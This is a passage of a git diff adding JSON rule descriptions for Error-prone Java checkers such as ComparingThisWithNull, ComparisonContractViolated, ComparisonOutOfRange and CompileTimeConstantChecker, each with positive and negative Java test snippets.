"name": "ComparingThisWithNull", + "language": "java", + "description": "this == null is always false, this != null is always true", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 54, + "branches": 3, + "apis": 2, + "test": [ + { + "description": "thisIsNull", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains: ComparingThisWithNull\n if (this == null) {\n String x = \"Test\";\n }\n }\n }" + }, + { + "description": "nullIsThis", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains: ComparingThisWithNull\n if (null == this) {\n String x = \"Test\";\n }\n }\n }" + }, + { + "description": "thisIsNotNull", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains: ComparingThisWithNull\n if (this != null) {\n String x = \"Test\";\n }\n }\n }" + }, + { + "description": "nullIsNotThis", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains: ComparingThisWithNull\n if (null != this) {\n String x = \"Test\";\n }\n }\n }" + }, + { + "description": "null_negative", + "expected-problems": null, + "expected-linenumbers": [ + 103 + ], + "code": "class Test {\n void f() {\n Object o = new Object();\n if (null != o) {\n String x = \"Test\";\n }\n }\n }" + }, + { + "description": "this_negative", + "expected-problems": null, + "expected-linenumbers": [ + 121 + ], + "code": "class Test {\n void f() {\n Object o = new Object();\n if (this != o) {\n String x = \"Test\";\n }\n }\n }" + }, + { + "description": "nullNot_negative", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "class Test {\n void f() {\n Object o = new Object();\n if (null == o) {\n String x = \"Test\";\n }\n }\n }" + }, + { + "description": "thisNot_negative", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "class Test {\n void f() {\n Object o = new Object();\n if (this == o) {\n String x = \"Test\";\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparisonContractViolated.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparisonContractViolated.json new file mode 100644 index 0000000..41609d8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparisonContractViolated.json @@ -0,0 +1,30 @@ +{ + "name": "ComparisonContractViolated", + "language": "java", + "description": "This comparison method violates the contract", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 222, + "branches": 31, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.Comparator;\n\n public class ComparisonContractViolatedPositiveCases {\n\n static final int POSITIVE_CONSTANT = 50;\n\n static class Struct {\n int intField;\n long longField;\n\n @Override\n public boolean equals(Object o) {\n return o instanceof Struct\n && intField == ((Struct) o).intField\n && longField == ((Struct) o).longField;\n }\n\n @Override\n public int hashCode() {\n return intField + (int) longField;\n }\n }\n\n static final Comparator intComparisonNoZero1 =\n new Comparator() {\n @Override\n public int compare(Struct left, Struct right) {\n // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField)\n return (left.intField < right.intField) ? -1 : 1;\n }\n };\n\n static final Comparator intComparisonNoZero2 =\n new Comparator() {\n @Override\n public int compare(Struct left, Struct right) {\n // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField)\n return (right.intField < left.intField) ? 1 : -1;\n }\n };\n\n static final Comparator intComparisonNoZero3 =\n new Comparator() {\n @Override\n public int compare(Struct left, Struct right) {\n // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField)\n return (left.intField > right.intField) ? 1 : -1;\n }\n };\n\n static final Comparator intComparisonNoZero4 =\n new Comparator() {\n @Override\n public int compare(Struct left, Struct right) {\n // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField)\n return (left.intField <= right.intField) ? -1 : 1;\n }\n };\n\n static final Comparator longComparisonNoZero1 =\n new Comparator() {\n @Override\n public int compare(Struct left, Struct right) {\n // BUG: Diagnostic contains: Long.compare(left.longField, right.longField)\n return (left.longField < right.longField) ? -1 : 1;\n }\n };\n\n static final Comparator longComparisonNoZero2 =\n new Comparator() {\n @Override\n public int compare(Struct left, Struct right) {\n // BUG: Diagnostic contains: Long.compare(left.longField, right.longField)\n return (left.longField < right.longField) ? -1 : POSITIVE_CONSTANT;\n }\n };\n\n static final Comparator zeroOrOneComparator =\n new Comparator() {\n\n @Override\n // BUG: Diagnostic contains: violates the contract\n public int compare(Struct o1, Struct o2) {\n return o1.equals(o2) ? 0 : 1;\n }\n };\n\n static final Comparator zeroOrNegativeOneComparator =\n new Comparator() {\n\n @Override\n // BUG: Diagnostic contains: violates the contract\n public int compare(Struct o1, Struct o2) {\n return o1.equals(o2) ? 0 : -1;\n }\n };\n\n static final Comparator zeroOrPositiveConstantComparator =\n new Comparator() {\n\n @Override\n // BUG: Diagnostic contains: violates the contract\n public int compare(Struct o1, Struct o2) {\n return o1.equals(o2) ? 0 : POSITIVE_CONSTANT;\n }\n };\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 151 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n public class ComparisonContractViolatedNegativeCases {\n abstract static class IntOrInfinity implements Comparable {}\n\n static class IntOrInfinityInt extends IntOrInfinity {\n private final int value;\n\n IntOrInfinityInt(int value) {\n this.value = value;\n }\n\n @Override\n public int compareTo(IntOrInfinity o) {\n return (o instanceof IntOrInfinityInt)\n ? Integer.compare(value, ((IntOrInfinityInt) o).value)\n : 1;\n }\n }\n\n static class NegativeInfinity extends IntOrInfinity {\n @Override\n public int compareTo(IntOrInfinity o) {\n return (o instanceof NegativeInfinity) ? 0 : -1;\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparisonOutOfRange.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparisonOutOfRange.json new file mode 100644 index 0000000..d46eff9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparisonOutOfRange.json @@ -0,0 +1,30 @@ +{ + "name": "ComparisonOutOfRange", + "language": "java", + "description": "Comparison to value that is out of range for the compared type", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 184, + "branches": 33, + "apis": 5, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.io.IOException;\n import java.io.Reader;\n import java.util.function.Supplier;\n\n /**\n * @author Bill Pugh (bill.pugh@gmail.com)\n */\n class ComparisonOutOfRangePositiveCases {\n private static final int NOT_A_BYTE = 255;\n\n void byteEquality() {\n boolean result;\n byte b = 0;\n byte[] barr = {1, 2, 3};\n\n // BUG: Diagnostic contains: b == -1\n result = b == 255;\n // BUG: Diagnostic contains: b == 1\n result = b == -255;\n // BUG: Diagnostic contains: b == -128\n result = b == 128;\n // BUG: Diagnostic contains: b != -1\n result = b != 255;\n\n // BUG: Diagnostic contains: barr[0] == -1\n result = barr[0] == 255;\n // BUG: Diagnostic contains:\n result = barr[0] == 128;\n // BUG: Diagnostic contains: bytes\n result = barr[0] == -255;\n\n // BUG: Diagnostic contains: b == -1\n result = b == NOT_A_BYTE;\n\n Byte boxed = 0;\n // BUG: Diagnostic contains:\n result = boxed == 255;\n Supplier bSupplier = null;\n // BUG: Diagnostic contains:\n result = bSupplier.get() == 255;\n }\n\n void charEquality() throws IOException {\n boolean result;\n char c = 'A';\n Reader reader = null;\n\n // BUG: Diagnostic contains: false\n result = c == -1;\n // BUG: Diagnostic contains: true\n result = c != -1;\n\n char d;\n // BUG: Diagnostic contains: chars\n result = (d = (char) reader.read()) == -1;\n }\n\n void shorts(short s) {\n boolean result;\n\n // BUG: Diagnostic contains: false\n result = s == Short.MAX_VALUE + 1;\n // BUG: Diagnostic contains: false\n result = s == Short.MIN_VALUE - 1;\n\n // BUG: Diagnostic contains: true\n result = s != Short.MAX_VALUE + 1;\n // BUG: Diagnostic contains: true\n result = s != Short.MIN_VALUE - 1;\n\n // BUG: Diagnostic contains: false\n result = s > Short.MAX_VALUE;\n // BUG: Diagnostic contains: true\n result = s > Short.MIN_VALUE - 1;\n\n // BUG: Diagnostic contains: false\n result = s >= Short.MAX_VALUE + 1;\n // BUG: Diagnostic contains: true\n result = s >= Short.MIN_VALUE;\n\n // BUG: Diagnostic contains: false\n result = s < Short.MIN_VALUE;\n // BUG: Diagnostic contains: true\n result = s < Short.MAX_VALUE + 1;\n\n // BUG: Diagnostic contains: false\n result = s <= Short.MIN_VALUE - 1;\n // BUG: Diagnostic contains: true\n result = s <= Short.MAX_VALUE;\n }\n\n void shortsReversed(short s) {\n boolean result;\n\n // BUG: Diagnostic contains: false\n result = Short.MAX_VALUE < s;\n // BUG: Diagnostic contains: true\n result = Short.MIN_VALUE - 1 < s;\n\n // BUG: Diagnostic contains: false\n result = Short.MAX_VALUE + 1 <= s;\n // BUG: Diagnostic contains: true\n result = Short.MIN_VALUE <= s;\n\n // BUG: Diagnostic contains: false\n result = Short.MIN_VALUE > s;\n // BUG: Diagnostic contains: true\n result = Short.MAX_VALUE + 1 > s;\n\n // BUG: Diagnostic contains: false\n result = Short.MIN_VALUE - 1 >= s;\n // BUG: Diagnostic contains: true\n result = Short.MAX_VALUE >= s;\n }\n\n void ints(int i) {\n boolean result;\n\n // BUG: Diagnostic contains: false\n result = i == Integer.MAX_VALUE + 1L;\n }\n\n void longs(long l) {\n boolean result;\n\n // BUG: Diagnostic contains: false\n result = l == Long.MIN_VALUE * 2.0;\n }\n }\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.io.IOException;\n import java.io.Reader;\n\n /**\n * @author Bill Pugh (bill.pugh@gmail.com)\n */\n class ComparisonOutOfRangeNegativeCases {\n\n void byteEquality() {\n boolean result;\n byte b = 0;\n byte[] barr = {1, 2, 3};\n\n result = b == 1;\n result = b == -2;\n result = b == 127;\n result = b != 1;\n\n result = b == (byte) 255;\n\n result = b == 'a'; // char\n result = b == 1L; // long\n result = b == 1.123f; // float\n result = b == 1.123; // double\n\n result = barr[0] == 1;\n result = barr[0] == -2;\n result = barr[0] == -128;\n }\n\n void charEquality() throws IOException {\n boolean result;\n char c = 'A';\n Reader reader = null;\n\n result = c == 0;\n result = c == 0xffff;\n\n result = c == 1L; // long\n result = c == 1.123f; // float\n result = c == 1.123; // double\n\n int d;\n result = (d = reader.read()) == -1;\n }\n\n void shorts(short s) {\n boolean result;\n\n result = s == Short.MAX_VALUE;\n result = s == Short.MIN_VALUE;\n\n result = s != Short.MAX_VALUE;\n result = s != Short.MIN_VALUE;\n\n result = s > Short.MAX_VALUE - 1;\n result = s > Short.MIN_VALUE;\n\n result = s >= Short.MAX_VALUE;\n result = s >= Short.MIN_VALUE + 1;\n\n result = s < Short.MIN_VALUE + 1;\n result = s < Short.MAX_VALUE;\n\n result = s <= Short.MIN_VALUE;\n result = s <= Short.MAX_VALUE - 1;\n }\n\n void shortsReversed(short s) {\n boolean result;\n\n result = Short.MAX_VALUE - 1 < s;\n result = Short.MIN_VALUE < s;\n\n result = Short.MAX_VALUE <= s;\n result = Short.MIN_VALUE + 1 <= s;\n\n result = Short.MIN_VALUE + 1 > s;\n result = Short.MAX_VALUE > s;\n\n result = Short.MIN_VALUE >= s;\n result = Short.MAX_VALUE - 1 >= s;\n }\n\n void ints(int i) {\n boolean result;\n\n result = i == (long) Integer.MAX_VALUE;\n }\n\n void longs(long l) {\n boolean result;\n\n result = l == (double) Long.MIN_VALUE;\n }\n\n String binaryTreeMixingByteWithNonNumeric(byte b) {\n return \"value is: \" + b;\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CompileTimeConstantChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CompileTimeConstantChecker.json new file mode 100644 index 0000000..fac1a24 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CompileTimeConstantChecker.json @@ -0,0 +1,342 @@ +{ + "name": "CompileTimeConstantChecker", + "language": "java", + "description": "Non-compile-time constant expression passed to parameter with @CompileTimeConstant type annotation.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 263, + "branches": 38, + "apis": 3, + "test": [ + { + "description": "matches_fieldAccessFailsWithNonConstant", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public void m(String p, @CompileTimeConstant String q) {}\n\n public void r(String s) {\n // BUG: Diagnostic contains: Non-compile-time constant expression passed\n this.m(\"boo\", s);\n }\n }" + }, + { + "description": "matches_fieldAccessFailsWithNonConstantExpression", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public void m(String p, @CompileTimeConstant String q) {}\n\n public void r(String s) {\n // BUG: Diagnostic contains: Non-compile-time constant expression passed\n this.m(\"boo\", s + \"boo\");\n }\n }" + }, + { + "description": "matches_fieldAccessSucceedsWithLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public void m(String s, @CompileTimeConstant String p) {}\n\n public void r(String x) {\n this.m(x, \"boo\");\n }\n }" + }, + { + "description": "matches_fieldAccessSucceedsWithStaticFinal", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public static final String S = \"Hello\";\n\n public void m(String s, @CompileTimeConstant String p) {}\n\n public void r(String x) {\n this.m(x, S);\n }\n }" + }, + { + "description": "matches_fieldAccessSucceedsWithConstantConcatenation", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public static final String S = \"Hello\";\n\n public void m(String s, @CompileTimeConstant String p) {}\n\n public void r(String x) {\n this.m(x, S + \" World!\");\n }\n }" + }, + { + "description": "matches_identCallFailsWithNonConstant", + "expected-problems": null, + "expected-linenumbers": [ + 142 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public void m(@CompileTimeConstant String p, int i) {}\n\n public void r(String s) {\n // BUG: Diagnostic contains: Non-compile-time constant expression passed\n m(s, 19);\n }\n }" + }, + { + "description": "matches_identCallSucceedsWithLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 164 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public void m(String s, @CompileTimeConstant String p) {}\n\n public void r(@CompileTimeConstant final String x) {\n m(x, x);\n }\n\n public void s() {\n r(\"boo\");\n }\n }" + }, + { + "description": "matches_staticCallFailsWithNonConstant", + "expected-problems": null, + "expected-linenumbers": [ + 189 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public static void m(@CompileTimeConstant String p, int i) {}\n\n public static void r(String s) {\n // BUG: Diagnostic contains: Non-compile-time constant expression passed\n m(s, 19);\n }\n }" + }, + { + "description": "matches_staticCallSucceedsWithLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 211 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public static void m(String s, @CompileTimeConstant String p) {}\n\n public static void r(String x) {\n m(x, \"boo\");\n }\n }" + }, + { + "description": "matches_qualifiedStaticCallFailsWithNonConstant", + "expected-problems": null, + "expected-linenumbers": [ + 232 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public static class Inner {\n public static void m(@CompileTimeConstant String p, int i) {}\n }\n\n public static void r(String s) {\n // BUG: Diagnostic contains: Non-compile-time constant expression passed\n Inner.m(s, 19);\n }\n }" + }, + { + "description": "matches_qualifiedStaticCallSucceedsWithLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 256 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public static class Inner {\n public static void m(String s, @CompileTimeConstant String p) {}\n }\n\n public static void r(String x) {\n Inner.m(x, \"boo\");\n }\n }" + }, + { + "description": "matches_ctorSucceedsWithLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 279 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public CompileTimeConstantTestCase(String s, @CompileTimeConstant String p) {}\n\n public static CompileTimeConstantTestCase makeNew(String x) {\n return new CompileTimeConstantTestCase(x, \"boo\");\n }\n }" + }, + { + "description": "matches_ctorFailsWithNonConstant", + "expected-problems": null, + "expected-linenumbers": [ + 300 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public CompileTimeConstantTestCase(String s, @CompileTimeConstant String p) {}\n\n public static CompileTimeConstantTestCase makeNew(String x) {\n // BUG: Diagnostic contains: Non-compile-time constant expression passed\n return new CompileTimeConstantTestCase(\"boo\", x);\n }\n }" + }, + { + "description": "matches_identCallSucceedsWithinCtorWithLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 322 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public CompileTimeConstantTestCase(String s, @CompileTimeConstant final String p) {\n m(p);\n }\n\n public void m(@CompileTimeConstant String r) {}\n\n public static CompileTimeConstantTestCase makeNew(String x) {\n return new CompileTimeConstantTestCase(x, \"boo\");\n }\n }" + }, + { + "description": "matches_varargsInDifferentCompilationUnit", + "expected-problems": null, + "expected-linenumbers": [ + 354 + ], + "code": "" + }, + { + "description": "matches_varargsSuccess", + "expected-problems": null, + "expected-linenumbers": [ + 371 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public static void m(String s, @CompileTimeConstant String... p) {}\n\n public static void r(String s) {\n m(s);\n m(s, \"foo\");\n m(s, \"foo\", \"bar\");\n m(s, \"foo\", \"bar\", \"baz\");\n }\n }" + }, + { + "description": "matches_effectivelyFinalCompileTimeConstantParam", + "expected-problems": null, + "expected-linenumbers": [ + 395 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public static void m(@CompileTimeConstant String y) {}\n\n public static void r(@CompileTimeConstant String x) {\n m(x);\n }\n }" + }, + { + "description": "matches_nonFinalCompileTimeConstantParam", + "expected-problems": null, + "expected-linenumbers": [ + 416 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n public static void m(@CompileTimeConstant String y) {}\n\n public static void r(@CompileTimeConstant String x) {\n x = x + \"!\";\n // BUG: Diagnostic contains: . Did you mean to make 'x' final?\n m(x);\n }\n }" + }, + { + "description": "matches_override", + "expected-problems": null, + "expected-linenumbers": [ + 439 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n abstract class CompileTimeConstantTestCase {\n abstract void m(String y);\n\n static class C extends CompileTimeConstantTestCase {\n @Override\n // BUG: Diagnostic contains: Method with @CompileTimeConstant parameter\n void m(@CompileTimeConstant String s) {}\n }\n }" + }, + { + "description": "matches_methodReference", + "expected-problems": null, + "expected-linenumbers": [ + 462 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n import java.util.function.Consumer;\n\n public class CompileTimeConstantTestCase {\n public static void m(@CompileTimeConstant String s) {}\n\n public static Consumer r(String x) {\n // BUG: Diagnostic contains: Method with @CompileTimeConstant parameter\n return CompileTimeConstantTestCase::m;\n }\n }" + }, + { + "description": "matches_constructorReference", + "expected-problems": null, + "expected-linenumbers": [ + 485 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n import java.util.function.Function;\n\n public class CompileTimeConstantTestCase {\n CompileTimeConstantTestCase(@CompileTimeConstant String s) {}\n\n public static Function r(String x) {\n // BUG: Diagnostic contains: Method with @CompileTimeConstant parameter\n return CompileTimeConstantTestCase::new;\n }\n }" + }, + { + "description": "matches_methodReferenceCorrectOverrideMethod", + "expected-problems": null, + "expected-linenumbers": [ + 508 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n import java.util.function.Consumer;\n\n public class CompileTimeConstantTestCase {\n interface ConstantFn {\n void apply(@CompileTimeConstant String s);\n }\n\n public static void m(@CompileTimeConstant String s) {}\n\n public static ConstantFn r(String x) {\n return CompileTimeConstantTestCase::m;\n }\n }" + }, + { + "description": "matches_methodReferenceCorrectOverrideConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 534 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n import java.util.function.Consumer;\n\n public class CompileTimeConstantTestCase {\n interface ConstantFn {\n CompileTimeConstantTestCase apply(@CompileTimeConstant String s);\n }\n\n CompileTimeConstantTestCase(@CompileTimeConstant String s) {}\n\n public static ConstantFn r(String x) {\n return CompileTimeConstantTestCase::new;\n }\n }" + }, + { + "description": "matches_lambdaExpression", + "expected-problems": null, + "expected-linenumbers": [ + 560 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n import java.util.function.Consumer;\n\n public class CompileTimeConstantTestCase {\n // BUG: Diagnostic contains: Method with @CompileTimeConstant parameter\n Consumer c = (@CompileTimeConstant String s) -> {};\n }" + }, + { + "description": "doesNotMatch_lambdaExpression_correctOverride", + "expected-problems": null, + "expected-linenumbers": [ + 579 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n import java.util.function.Consumer;\n\n public class CompileTimeConstantTestCase {\n interface ConstantFn {\n void apply(@CompileTimeConstant String s);\n }\n\n ConstantFn c =\n (@CompileTimeConstant String s) -> {\n doFoo(s);\n };\n\n void doFoo(final @CompileTimeConstant String foo) {}\n }" + }, + { + "description": "matches_lambdaExpressionWithoutAnnotatedParameters", + "expected-problems": null, + "expected-linenumbers": [ + 606 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n import java.util.function.Consumer;\n\n public class CompileTimeConstantTestCase {\n interface ConstantFn {\n void apply(@CompileTimeConstant String s);\n }\n\n ConstantFn c =\n s -> {\n // BUG: Diagnostic contains: Non-compile-time constant expression\n doFoo(s);\n };\n\n void doFoo(final @CompileTimeConstant String foo) {}\n }" + }, + { + "description": "matches_lambdaExpressionWithoutExplicitFormalParameters", + "expected-problems": null, + "expected-linenumbers": [ + 634 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n @FunctionalInterface\n interface I {\n void f(@CompileTimeConstant String x);\n }\n\n void f(String s) {\n I i = x -> {};\n // BUG: Diagnostic contains: Non-compile-time constant expression passed\n i.f(s);\n }\n }" + }, + { + "description": "reportsDiagnostic_whenConstantFieldDeclaredWithoutFinal", + "expected-problems": null, + "expected-linenumbers": [ + 660 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n // BUG: Diagnostic contains: . Did you mean to make 's' final?\n @CompileTimeConstant String s = \"s\";\n }" + }, + { + "description": "noDiagnostic_whenConstantFieldDeclaredFinal", + "expected-problems": null, + "expected-linenumbers": [ + 678 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n @CompileTimeConstant final String s = \"s\";\n }" + }, + { + "description": "reportsDiagnostic_whenInitialisingFinalFieldWithNonConstant", + "expected-problems": null, + "expected-linenumbers": [ + 695 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n @CompileTimeConstant final String s;\n\n CompileTimeConstantTestCase(String s) {\n // BUG: Diagnostic contains: Non-compile-time constant expression\n this.s = s;\n }\n }" + }, + { + "description": "noDiagnostic_whenInitialisingFinalFieldWithConstant", + "expected-problems": null, + "expected-linenumbers": [ + 717 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n @CompileTimeConstant final String s;\n\n CompileTimeConstantTestCase(@CompileTimeConstant String s) {\n this.s = s;\n }\n }" + }, + { + "description": "noDiagnostic_whenInvokingMethodWithFinalField", + "expected-problems": null, + "expected-linenumbers": [ + 738 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class CompileTimeConstantTestCase {\n @CompileTimeConstant final String s;\n\n CompileTimeConstantTestCase(@CompileTimeConstant String s) {\n this.s = s;\n }\n\n void invokeCTCMethod() {\n ctcMethod(s);\n }\n\n void ctcMethod(@CompileTimeConstant String s) {}\n }" + }, + { + "description": "reportsDiagnostic_whenConstantEnumFieldDeclaredWithoutFinal", + "expected-problems": null, + "expected-linenumbers": [ + 765 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n\n public enum Test {\n A(\"A\");\n // BUG: Diagnostic contains: . Did you mean to make 's' final?\n @CompileTimeConstant String s;\n\n Test(@CompileTimeConstant String s) {\n this.s = s;\n }\n }" + }, + { + "description": "noDiagnostic_whenConstantEnumFieldDeclaredFinal", + "expected-problems": null, + "expected-linenumbers": [ + 786 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n\n public enum Test {\n A(\"A\");\n @CompileTimeConstant final String s;\n\n Test(@CompileTimeConstant String s) {\n this.s = s;\n }\n }" + }, + { + "description": "reportsDiagnostic_whenInitialisingFinalEnumFieldWithNonConstant", + "expected-problems": null, + "expected-linenumbers": [ + 806 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n\n public enum Test {\n A(\"A\");\n @CompileTimeConstant final String s;\n\n Test(String s) {\n // BUG: Diagnostic contains: Non-compile-time constant expression\n this.s = s;\n }\n }" + }, + { + "description": "noDiagnostic_whenInvokingMethodWithFinalEnumField", + "expected-problems": null, + "expected-linenumbers": [ + 827 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n\n public enum Test {\n A(\"A\");\n @CompileTimeConstant final String s;\n\n Test(@CompileTimeConstant String s) {\n this.s = s;\n }\n\n void invokeCTCMethod() {\n ctcMethod(s);\n }\n\n void ctcMethod(@CompileTimeConstant String s) {}\n }" + }, + { + "description": "nonConstantField_positive", + "expected-problems": null, + "expected-linenumbers": [ + 853 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public abstract class CompileTimeConstantTestCase {\n abstract String something();\n\n // BUG: Diagnostic contains: Non-compile-time constant expression\n @CompileTimeConstant final String x = something();\n }" + }, + { + "description": "constantField_immutableList", + "expected-problems": null, + "expected-linenumbers": [ + 873 + ], + "code": "package test;\n\n import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n public abstract class CompileTimeConstantTestCase {\n @CompileTimeConstant final ImmutableList x = ImmutableList.of(\"a\");\n }" + }, + { + "description": "switchExpression_allBranchesConstant", + "expected-problems": null, + "expected-linenumbers": [ + 891 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class Test {\n @CompileTimeConstant\n final String s =\n switch (1) {\n case 1 -> \"a\";\n case 2 -> \"b\";\n default -> \"c\";\n };\n }" + }, + { + "description": "switchExpression_notAllBranchesConstant", + "expected-problems": null, + "expected-linenumbers": [ + 912 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class Test {\n @CompileTimeConstant\n final String s =\n // BUG: Diagnostic contains:\n switch (1) {\n case 1 -> \"a\";\n case 2 -> toString();\n default -> \"c\";\n };\n }" + }, + { + "description": "switchExpression_onlyConsiderReturningBranches", + "expected-problems": null, + "expected-linenumbers": [ + 934 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n\n public class Test {\n @CompileTimeConstant\n final String s =\n switch (1) {\n case 1 -> \"a\";\n case 2 -> \"b\";\n default -> throw new RuntimeException();\n };\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComplexBooleanConstant.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComplexBooleanConstant.json new file mode 100644 index 0000000..a3edcec --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComplexBooleanConstant.json @@ -0,0 +1,30 @@ +{ + "name": "ComplexBooleanConstant", + "language": "java", + "description": "Non-trivial compile time constant boolean expressions shouldn't be used.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 100, + "branches": 16, + "apis": 2, + "test": [ + { + "description": "refactorTest", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "class Foo {\n int CONSTANT1 = 1;\n int CONSTANT2 = 1;\n\n int barNoOp() {\n return 1 - 1;\n }\n\n boolean barNoOpWithConstants() {\n return CONSTANT1 == CONSTANT2;\n }\n\n boolean barEquals() {\n return 